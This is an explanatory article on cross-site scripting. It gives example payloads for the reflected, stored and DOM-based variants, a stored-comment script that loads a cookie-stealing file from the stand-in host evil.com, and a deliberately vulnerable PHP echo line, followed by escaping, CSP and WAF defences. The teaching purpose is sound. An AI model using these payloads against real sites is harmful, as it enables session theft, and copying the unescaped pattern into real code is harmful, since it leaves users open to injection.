Mastering XSS: How Attackers Exploit Trust and How to Build Unbreakable Defenses

What is XSS?

Cross‑Site Scripting (XSS) is a code‑injection attack in which an attacker injects malicious client‑side scripts—most often JavaScript—into a web page. When other users load the compromised page, their browsers execute the injected script without the users’ knowledge.

Three main XSS variants

Reflected XSS

Attack scenario Assume a search endpoint that echoes the q query parameter: http://example.com/search?q=keyword If the server inserts the raw parameter into the HTML response, an attacker can craft a URL such as: http://example.com/search?q=<script>alert('XSS')</script> When a victim clicks the link, the browser parses the injected <script>alert('XSS')</script> and executes it, which could be replaced with code that steals cookies or performs other malicious actions.

Stored XSS

Attack scenario A blog allows users to post comments. An attacker submits the following comment: Great article!<script src="http://evil.com/steal-cookie.js"></script> If the comment is stored without sanitisation, every visitor who reads the page will load and run steal-cookie.js , which can exfiltrate the victim’s session cookie to the attacker’s server.

DOM‑based XSS

Attack scenario A page writes a welcome message based on the URL fragment: Welcome, <script>document.write(location.hash.substring(1));</script> An attacker can craft a URL such as: http://example.com/welcome.html#<img src=1 onerror=alert('DOM XSS')> When the page loads, the fragment is written into the DOM; the non‑existent image triggers an onerror handler, causing the alert script to run.

Defensive measures

1. Input validation and filtering

Validate every piece of user‑supplied data (URL parameters, form fields, API payloads) against a whitelist of allowed characters or patterns. Reject any input that does not conform—for example, enforce numeric‑only input for ID fields.

2. Output encoding (escaping)

When inserting user data back into HTML, encode special characters (<, >, ", ', &) as HTML entities. This prevents the browser from interpreting them as executable code.

Incorrect example <div><?php echo $_GET['comment']; ?></div> Correct example (PHP)

<div><?php echo htmlspecialchars($_GET['comment'], ENT_QUOTES, 'UTF-8'); ?></div>

After encoding, a payload such as <script>alert('XSS')</script> is displayed as plain text rather than executed.

3. Content Security Policy (CSP)

CSP adds a second defensive layer by instructing the browser to load scripts only from trusted origins. A minimal policy might be:

Content-Security-Policy: script-src 'self' https://apis.google.com;

This tells the browser to execute scripts only from the same origin ( 'self') or the explicitly listed whitelist, blocking injected scripts from unknown sources.

4. Web Application Firewall (WAF)

Deploying a WAF provides an additional filter that can detect and block known XSS patterns before malicious requests reach the application.